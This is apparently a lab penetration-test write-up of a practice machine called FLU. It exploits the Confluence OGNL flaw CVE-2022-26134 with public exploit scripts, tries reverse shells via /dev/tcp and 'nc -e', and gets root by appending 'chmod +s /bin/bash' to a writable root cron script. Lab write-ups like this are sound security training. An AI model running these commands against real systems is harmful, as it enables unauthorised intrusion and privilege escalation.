report

Report - Flu

- Author: Henry Post
- Target: FLU
- Target IP: 192.168.54.41
- Date: 04/12/2026

Executive Summary

This machine, FLU, was enumerated by `nmap` to have ports `22/ssh` and `8090/http` open.

The HTTP server was running `Atlassian Confluence 7.13.6`, which is vulnerable to `CVE-2022-26134`, a Remote Code Execution vulnerability. This was used to get non-root shell.

From there, a cron job was identified using `pspy` that used a bash script that we set the SUID bit on to get root access.

Recommendations

- Upgrade Confluence immediately to a non-vulnerable version.
- Do not allow the `SUID` bit to be set on scripts that the `root` user runs.

Resources

- CVE-2022-26134
- https://github.com/nxtexploit/CVE-2022-26134
- https://github.com/jbaines-r7/through_the_wire/blob/main/through_the_wire.py
- https://github.com/DominicBreuker/pspy

Recon

We run `nmap -sS -sV FLU`.

```
???(kali?kali)-[~]
??$ nmap -sS -sV FLU
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 01:29 +0000
Nmap scan report for FLU (192.168.54.41)
Host is up (0.00051s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
```

```
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux;
protocol 2.0)
8090/tcp open  http    Apache Tomcat (language: en)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.05 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV FLU
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 01:29 +0000
Nmap scan report for FLU (192.168.54.41)
Host is up (0.00051s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
8090/tcp open  http    Apache Tomcat (language: en)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We notice `ssh/22` and `http/8090` is running.

Non-root access

Visiting http://FLU:8090 shows us that the target serves Confluence.

```
Powered by Atlassian Confluence 7.13.6
```

CVE-2022-26134 affects Confluence.

```
searchsploit confluence

# Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) |
java/webapps/50243.py

searchsploit -p 50243

cp /usr/share/exploitdb/exploits/java/webapps/50243.py ./

python 50243.py -u http://FLU:8090 -p "/pages/createpage-
entervariables.action?SpaceKey=x"
```

This attack fails, so let's find another one.

https://github.com/nxtexploit/CVE-2022-26134

```
git clone https://github.com/nxtexploit/CVE-2022-26134

cd CVE-2022-26134
python CVE-2022-26134.py http://FLU:8090 "pwd"
```

```
┌──(kali㉿kali)-[~/CVE-2022-26134]
└─$ python CVE-2022-26134.py http://FLU:8090 "pwd"
Confluence target version: 7.13.6
/opt/atlassian/confluence/bin
```

We can run simple commands. Let's try for a reverse shell.

```
# on attacker
ip a | grep 192 #192.168.49.54 = attacker ip
nc -nvlp 4444

# on attacker too, to trigger rev shell
python CVE-2022-26134.py http://FLU:8090 "bash -i >&
/dev/tcp/192.168.49.54/4444"
# this fails, but we have nc!!

python CVE-2022-26134.py http://FLU:8090 "which nc"
# this proves we have nc

# on attacker, to trigger reverse shell
python CVE-2022-26134.py http://FLU:8090 "nc -e /bin/sh 192.168.49.54 4444"
# this fails too, let's try python3 shell
```

We give up and find a new exploit.

https://github.com/jbaines-r7/through_the_wire/blob/main/through_the_wire.py

```
git clone https://github.com/jbaines-r7/through_the_wire/

cd ./through_the_wire/

# run on attacker
python through_the_wire.py --rhost FLU --rport 8090 --lhost 192.168.49.59 --
lport 4444 --protocol "http://" --reverse-shell
```

It works.

```
  ____ _                                  _
 /__   \ |__  _ __ ___  _   _  __ _| |__
   / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
  / /  | | | | | | (_) | |_| | (_| | | | |
  \/   |_| |_|_|  \___/ \__,_|\__, |_| |_|
                                |___/
  ____ _              __   __ _
 /__   \ |__   ___   / / ^ \ (_)_ __ ___
   / /\/ '_ \ / _ \ \ \/   \/ / | '__/ _ \
  / /  | | | |  __/  \  ^  /| | | |  __/
  \/   |_| |_|\___|   \/   \/ |_|_|  \___|

                jbaines-r7
              CVE-2022-26134
      "Spit my soul through the wire"
                    🦞

[+] Forking a netcat listener
[+] Using /usr/bin/nc
[+] Generating a reverse shell payload
[+] Sending expoit at http://FLU:8090/
listening on [any] 4444 ...
connect to [192.168.49.54] from (UNKNOWN) [192.168.54.41] 56122
bash: cannot set terminal process group (820): Inappropriate ioctl for device
bash: no job control in this shell
confluence@flu:/opt/atlassian/confluence/bin$ whoami
whoami
confluence
confluence@flu:/opt/atlassian/confluence/bin$ hostname
hostname
flu
confluence@flu:/opt/atlassian/confluence/bin$
```

We have non-root access.

Root access

To get root access, well, we don't know because I'm live-writing this :)

So, the notes on this machine mention cron job abuse.

```
cat /etc/crontab

<<EOF
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR
sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
```

```
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --
report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --
report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --
report /etc/cron.monthly; }
#
EOF


ls -la /etc/cron.d/

<<EOF
ls -la /etc/cron.d/
total 16
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  201 Feb 17  2023 e2scrub_all
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder
EOF


ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
/etc/cron.monthly/

<<EOF

/etc/cron.daily/:
total 32
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rwxr-xr-x   1 root root  376 Apr 13  2023 apport
-rwxr-xr-x   1 root root 1478 Mar  6  2023 apt-compat
-rwxr-xr-x   1 root root  123 Feb 24  2023 dpkg
-rwxr-xr-x   1 root root  377 Dec 14  2022 logrotate
-rwxr-xr-x   1 root root 1395 Jan  8  2023 man-db
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.hourly/:
total 12
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder
```

```
/etc/cron.monthly/:
total 12
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.weekly/:
total 16
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rwxr-xr-x   1 root root 1055 Jan  8  2023 man-db
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder
EOF
```

Hm, seems like we need to use pspy.

```
# install pspy
sudo apt install pspy
pspy-binaries -h

# Attacker — serve it
cp /usr/share/pspy/pspy64 . # Kali has it, or download from GitHub releases
python3 -m http.server 80

# Target shell
wget http://192.168.49.59/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000

# now, we wait.

# got it. this is a script we may be able to abuse SUID on.
<<EOF
2026/04/13 16:44:01 CMD: UID=0     PID=2179   | /bin/bash /opt/log-backup.sh
EOF

ls -la /opt/log-backup.sh
#-rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 /opt/log-backup.sh
# great - it's writeable by us, and runs at root.

# use this to make /bin/bash SUID bit enabled.
echo 'chmod +s /bin/bash' >> /opt/log-backup.sh

# wait a bit, and run /bin/bash honoring SUID bit
bash -p
```

```
whoami
#root
```

```
confluence@flu:/opt/atlassian/confluence/bin$ bash -p
bash -p
whoami
root
hostname
flu
cd /root
ls
backup
email8.txt
proof.txt
snap
cat proof.txt
e28774a590a375e6aa2490c31f99f6c9
dat
bash: line 6: dat: command not found
date
Mon Apr 13 04:48:32 PM UTC 2026
```

And we have root access.